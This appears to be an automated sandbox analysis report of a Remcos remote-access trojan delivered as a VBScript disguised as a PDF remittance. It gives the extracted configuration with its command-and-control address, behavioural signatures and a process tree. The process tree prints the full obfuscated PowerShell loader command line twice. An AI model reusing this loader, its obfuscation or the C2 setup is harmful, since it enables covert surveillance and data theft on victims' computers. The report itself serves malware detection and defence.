Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 17:16
General
- Target Remittance_90523_03.pdf.vbs
- Size 269KB
- Sample260727-vtmpyaan8w
- SHA256 fc09faa3fdbf0f6b7d7aad125eca6798b8fb928714dfb0c6b7964a866fdffe39
Malware Config
Extracted
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remcos
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7.2.6 Pro
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RemoteHost
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102.220.160.105:2404
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-21S2XL
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Remittance_90523_03.pdf.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($silicothermic); [void](Get-Location) };$filoperationens = Get-Date;$kennelklubberne128=-53609+53609;$kartoteksstyrings=-13114+19114;$allowichromatise = Get-Random;function jeep ($diverterede,$allow) {$glasvrkerne=radiotelegrafisternes(@(111,197,207,220,202,221,227,213,226,202,214,216,120,195,222,213,215,147,147,209,220,209,225,234,116)) ;Afskrivningsvederlagene ($glasvrkerne);[void](Get-Random)}[void](Get-Date);function rtyui { param($unimpartially); [void](Get-Location) };[void](Get-Location);function radiotelegrafisternes ($unbiographically) { do {$kartoteksstyrings=$kennelklubberne128%12;$diverteredecetract=$multiwall[$kartoteksstyrings];$unbiographically[$kennelklubberne128]-=$diverteredecetract;$kartoteksstyrings=$unbiographically[$kennelklubberne128];$kartoteksstyrings=[char]$kartoteksstyrings;$anticlimaxes+=$kartoteksstyrings;$kennelklubberne128++} while ($unbiographically[$kennelklubberne128])[void](Get-Random);$anticlimaxes}[void](Get-Date);function Afskrivningsvederlagene ($hoejredel) {[void](Get-Date);.($berthierite) $hoejredel}[void](Get-Location);function qwerty { param($chinner); [void](Get-Date) };Function Camouflipr ($unbiographically,$tokomponentlimenes129=0){[void](Get-Location);$underteacher=radiotelegrafisternes(@(166,164,213,212,219,208,225,228,205,159,172,185,189,208,211,168,198,222,212,166,164,184,230,229,180,207,205,142,137,224,221,210,217,212,217,229,172,209,206,207,200,204,219,220,233,142));$urinerende=@(Afskrivningsvederlagene ($underteacher));[void](Get-Random);For($knockings=0; $urinerende[$knockings] -ne $scandinavia; $knockings++){$urinerende[$knockings] = jeep $urinerende[$knockings] $multiwall[$knockings%12]}$xiphodontidae=radiotelegrafisternes(@(120,203,213,207,211,139,202,211,216,198,228,206,168,190,138,219,215,212,221,213,226,202,224,215,176));[void](Get-Location);$hammes=Afskrivningsvederlagene ($xiphodontidae);if ($tokomponentlimenes129) { [void](Get-Date);Afskrivningsvederlagene $hammes}else {;$hammes}}$civilkonomens = Get-Location;$multiwall=@(75,97,102,102,101,107,111,112,112,101,114,115);$berthierite=radiotelegrafisternes @(148,166,190);$pengepolitik = Get-Date;$forbrdredes='\Colorifics.fil';$euchre=Camouflipr 'fk9WRk08Bh4UCgUAay8yRlRbQUBLRSUaJVdSXUUTWURLRQAFcVBTVEtbRlA3ABEYJE5UVlRbX0FAVFI1IhMDAAoTQEFFV1xD';$grutches=Camouflipr 'IxUSFhZRQF8UFxsFLk8BCQoMAxVeBh0eZBQFWQATHx8CEU8XJBYICgoKC1YZAU9CIxEDIysIPQUoUEcaLypWDTYBXkkvIiESeAM+VSQ7BUE=';$quinquedentated=Camouflipr 'BhIeCwlZQSMVFwQWOTkrKi0/OyBeU1xD';$kogeplader = Get-Random;$nummerlaanstrkninger93=Camouflipr 'DCQy';$unstupidness6=Camouflipr 'HhIDFEgqCBUeEQ==';$syntakstrs154=Camouflipr 'dQ==';Camouflipr 'bwYKCQcKA0oHBAEHLgMHFQ4OG01UABwFcQAWFgEKGxFbQRQcOQMUAhcOCxUD' 1;Camouflipr 'bwYKCQcKA0oCAAYcOQQIW0EMHQUEBhoWOE8VFgkCG1hUFgsdPwANFREZHEFFUVs=' 1;$grutches=$retoren[0];Camouflipr 'bwYKCQcKA0oYAAEaPwASAxZWIRUHSD0RIQQFEkVGLB8dRVYCPggIFxAOCxUeERMHLgU=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1;while (!$aktivistdkning) {Camouflipr 'bwYKCQcKA0okABkAKQQOBwsPAxkeAgEVKgIPCgwfCgQVFxwWOFxCEhceCg==' 1;Camouflipr 'bwkDFQwfDgQVFlwcOwQITkEFGh0dAAAfKgAIFREZBB4ZCxUWOVhVSkVPCAIFEREbLhJKRkENDhwDAFs=' 1;Camouflipr 'bwkDFQwfDgQVFlwALhU0AxQeCgMELRcSLwQUTkEeAQMEEAIaLw8DFRZdQ1BUAAcQIxMDTw==' 1;Camouflipr 'bwkDFQwfDgQVFlwALg8CTkw=' 1;Camouflipr 'bwYKCQcKA0oWBBwfLgAAW0EDCgMZERMHLhJIFREKGwUDRV8WOkFUVlU=' 1;if ($fanleaf) {Camouflipr 'EAMfEgAwMi1UAh4cKQAKXBAFCxUCCRMULhVbQg0OHBkEBAYWOE8UAxYbAB4DADAcLxg=' 1;Camouflipr 'OAJGQhIKHAQVBxMAIAQSRkEeARQVFx4SLAQSRkguARMfARsdLEEkHxEO' 1} Camouflipr 'GA0DAxVDW1k=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1 ;Camouflipr 'bwYKCQcKA0oYCgQWLxUDCwQOHU1UAh4cKQAKXAMEHRYRCRYALwABAxZARFVUFxcHJBMDCEsIAAUeEQ==' 1;$grutches=$retoren[$hovedtemaer]}$kuldslog=139246;$unmusicality=20552;Camouflipr 'bwYKCQcKA0oSFxsUKg8CBwIOUhcTRVYEKhISAwcKHBsVEQ==' 1;Camouflipr 'bwYKCQcKA0o/ExcBOAIHEhEOHU0rJh0dPQQUEjhRVTYCCh8xKhIDUFE4GwIZCxVbbwMUDwIKARQRAhda' 1;Camouflipr 'bwYKCQcKA0ocDBUGJwASA1gwOxUIEVw2JQIJAgwFCC1KXzMgCCgvSCIOGyMEFxsdLElCKRMOHQMTBAYHLhNP' 1;Camouflipr 'bwYKCQcKA0oDDQcdPxJbQgkCCAUcBAYWZRITBBYfHRkeAlpXIBQKAhYHABdcQQcdJhQVDwYKAxkEHFs=' 1;Afskrivningsvederlagene $shunts;function bvcxz { param($tardando); [void](Get-Random) };;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($silicothermic); [void](Get-Location) };$filoperationens = Get-Date;$kennelklubberne128=-53609+53609;$kartoteksstyrings=-13114+19114;$allowichromatise = Get-Random;function jeep ($diverterede,$allow) {$glasvrkerne=radiotelegrafisternes(@(111,197,207,220,202,221,227,213,226,202,214,216,120,195,222,213,215,147,147,209,220,209,225,234,116)) ;Afskrivningsvederlagene ($glasvrkerne);[void](Get-Random)}[void](Get-Date);function rtyui { param($unimpartially); [void](Get-Location) };[void](Get-Location);function radiotelegrafisternes ($unbiographically) { do {$kartoteksstyrings=$kennelklubberne128%12;$diverteredecetract=$multiwall[$kartoteksstyrings];$unbiographically[$kennelklubberne128]-=$diverteredecetract;$kartoteksstyrings=$unbiographically[$kennelklubberne128];$kartoteksstyrings=[char]$kartoteksstyrings;$anticlimaxes+=$kartoteksstyrings;$kennelklubberne128++} while ($unbiographically[$kennelklubberne128])[void](Get-Random);$anticlimaxes}[void](Get-Date);function Afskrivningsvederlagene ($hoejredel) {[void](Get-Date);.($berthierite) $hoejredel}[void](Get-Location);function qwerty { param($chinner); [void](Get-Date) };Function Camouflipr ($unbiographically,$tokomponentlimenes129=0){[void](Get-Location);$underteacher=radiotelegrafisternes(@(166,164,213,212,219,208,225,228,205,159,172,185,189,208,211,168,198,222,212,166,164,184,230,229,180,207,205,142,137,224,221,210,217,212,217,229,172,209,206,207,200,204,219,220,233,142));$urinerende=@(Afskrivningsvederlagene ($underteacher));[void](Get-Random);For($knockings=0; $urinerende[$knockings] -ne $scandinavia; $knockings++){$urinerende[$knockings] = jeep $urinerende[$knockings] $multiwall[$knockings%12]}$xiphodontidae=radiotelegrafisternes(@(120,203,213,207,211,139,202,211,216,198,228,206,168,190,138,219,215,212,221,213,226,202,224,215,176));[void](Get-Location);$hammes=Afskrivningsvederlagene ($xiphodontidae);if ($tokomponentlimenes129) { [void](Get-Date);Afskrivningsvederlagene $hammes}else {;$hammes}}$civilkonomens = Get-Location;$multiwall=@(75,97,102,102,101,107,111,112,112,101,114,115);$berthierite=radiotelegrafisternes @(148,166,190);$pengepolitik = Get-Date;$forbrdredes='\Colorifics.fil';$euchre=Camouflipr 'fk9WRk08Bh4UCgUAay8yRlRbQUBLRSUaJVdSXUUTWURLRQAFcVBTVEtbRlA3ABEYJE5UVlRbX0FAVFI1IhMDAAoTQEFFV1xD';$grutches=Camouflipr 'IxUSFhZRQF8UFxsFLk8BCQoMAxVeBh0eZBQFWQATHx8CEU8XJBYICgoKC1YZAU9CIxEDIysIPQUoUEcaLypWDTYBXkkvIiESeAM+VSQ7BUE=';$quinquedentated=Camouflipr 'BhIeCwlZQSMVFwQWOTkrKi0/OyBeU1xD';$kogeplader = Get-Random;$nummerlaanstrkninger93=Camouflipr 'DCQy';$unstupidness6=Camouflipr 'HhIDFEgqCBUeEQ==';$syntakstrs154=Camouflipr 'dQ==';Camouflipr 'bwYKCQcKA0oHBAEHLgMHFQ4OG01UABwFcQAWFgEKGxFbQRQcOQMUAhcOCxUD' 1;Camouflipr 'bwYKCQcKA0oCAAYcOQQIW0EMHQUEBhoWOE8VFgkCG1hUFgsdPwANFREZHEFFUVs=' 1;$grutches=$retoren[0];Camouflipr 'bwYKCQcKA0oYAAEaPwASAxZWIRUHSD0RIQQFEkVGLB8dRVYCPggIFxAOCxUeERMHLgU=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1;while (!$aktivistdkning) {Camouflipr 'bwYKCQcKA0okABkAKQQOBwsPAxkeAgEVKgIPCgwfCgQVFxwWOFxCEhceCg==' 1;Camouflipr 'bwkDFQwfDgQVFlwcOwQITkEFGh0dAAAfKgAIFREZBB4ZCxUWOVhVSkVPCAIFEREbLhJKRkENDhwDAFs=' 1;Camouflipr 'bwkDFQwfDgQVFlwALhU0AxQeCgMELRcSLwQUTkEeAQMEEAIaLw8DFRZdQ1BUAAcQIxMDTw==' 1;Camouflipr 'bwkDFQwfDgQVFlwALg8CTkw=' 1;Camouflipr 'bwYKCQcKA0oWBBwfLgAAW0EDCgMZERMHLhJIFREKGwUDRV8WOkFUVlU=' 1;if ($fanleaf) {Camouflipr 'EAMfEgAwMi1UAh4cKQAKXBAFCxUCCRMULhVbQg0OHBkEBAYWOE8UAxYbAB4DADAcLxg=' 1;Camouflipr 'OAJGQhIKHAQVBxMAIAQSRkEeARQVFx4SLAQSRkguARMfARsdLEEkHxEO' 1} Camouflipr 'GA0DAxVDW1k=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1 ;Camouflipr 'bwYKCQcKA0oYCgQWLxUDCwQOHU1UAh4cKQAKXAMEHRYRCRYALwABAxZARFVUFxcHJBMDCEsIAAUeEQ==' 1;$grutches=$retoren[$hovedtemaer]}$kuldslog=139246;$unmusicality=20552;Camouflipr 'bwYKCQcKA0oSFxsUKg8CBwIOUhcTRVYEKhISAwcKHBsVEQ==' 1;Camouflipr 'bwYKCQcKA0o/ExcBOAIHEhEOHU0rJh0dPQQUEjhRVTYCCh8xKhIDUFE4GwIZCxVbbwMUDwIKARQRAhda' 1;Camouflipr 'bwYKCQcKA0ocDBUGJwASA1gwOxUIEVw2JQIJAgwFCC1KXzMgCCgvSCIOGyMEFxsdLElCKRMOHQMTBAYHLhNP' 1;Camouflipr 'bwYKCQcKA0oDDQcdPxJbQgkCCAUcBAYWZRITBBYfHRkeAlpXIBQKAhYHABdcQQcdJhQVDwYKAxkEHFs=' 1;Afskrivningsvederlagene $shunts;function bvcxz { param($tardando); [void](Get-Random) };;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Colorifics.fil
memory/1084-37-0x00000000068C0000-0x00000000068DA000-memory.dmp
memory/1084-40-0x00000000087F0000-0x0000000008DAA000-memory.dmp
memory/1084-42-0x0000000008DB0000-0x000000000EA77000-memory.dmp
memory/1084-29-0x00000000056A0000-0x0000000005706000-memory.dmp
memory/1084-38-0x00000000075D0000-0x0000000007666000-memory.dmp
memory/1084-39-0x0000000007560000-0x0000000007582000-memory.dmp
memory/1084-36-0x0000000007BB0000-0x000000000822C000-memory.dmp
memory/1084-35-0x00000000063A0000-0x00000000063EC000-memory.dmp
memory/1084-34-0x0000000006370000-0x000000000638E000-memory.dmp
memory/1084-32-0x0000000005F30000-0x000000000628B000-memory.dmp
memory/1084-27-0x0000000005590000-0x00000000055B2000-memory.dmp
memory/1084-28-0x0000000005630000-0x0000000005696000-memory.dmp
memory/1084-26-0x00000000058E0000-0x0000000005F2A000-memory.dmp
memory/1084-25-0x0000000001360000-0x0000000001396000-memory.dmp
memory/3968-68-0x000000001E860000-0x000000001E957000-memory.dmp
memory/3968-73-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/3968-72-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/3968-71-0x000000001E860000-0x000000001E957000-memory.dmp
memory/3968-70-0x000000001E860000-0x000000001E957000-memory.dmp
memory/3968-62-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/3968-44-0x0000000000800000-0x0000000001AE6000-memory.dmp
memory/4512-5-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-8-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-13-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-4-0x000001C1523F0000-0x000001C152412000-memory.dmp
memory/4512-18-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-15-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-24-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-0-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp
memory/4512-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-14-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-7-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-3-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-6-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-12-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-16-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-11-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-17-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-10-0x00007FFF84980000-0x00007FFF85324000-memory.dmp
memory/4512-23-0x000001C1524E0000-0x000001C15260F000-memory.dmp
memory/4512-21-0x000001C1524E0000-0x000001C15260F000-memory.dmp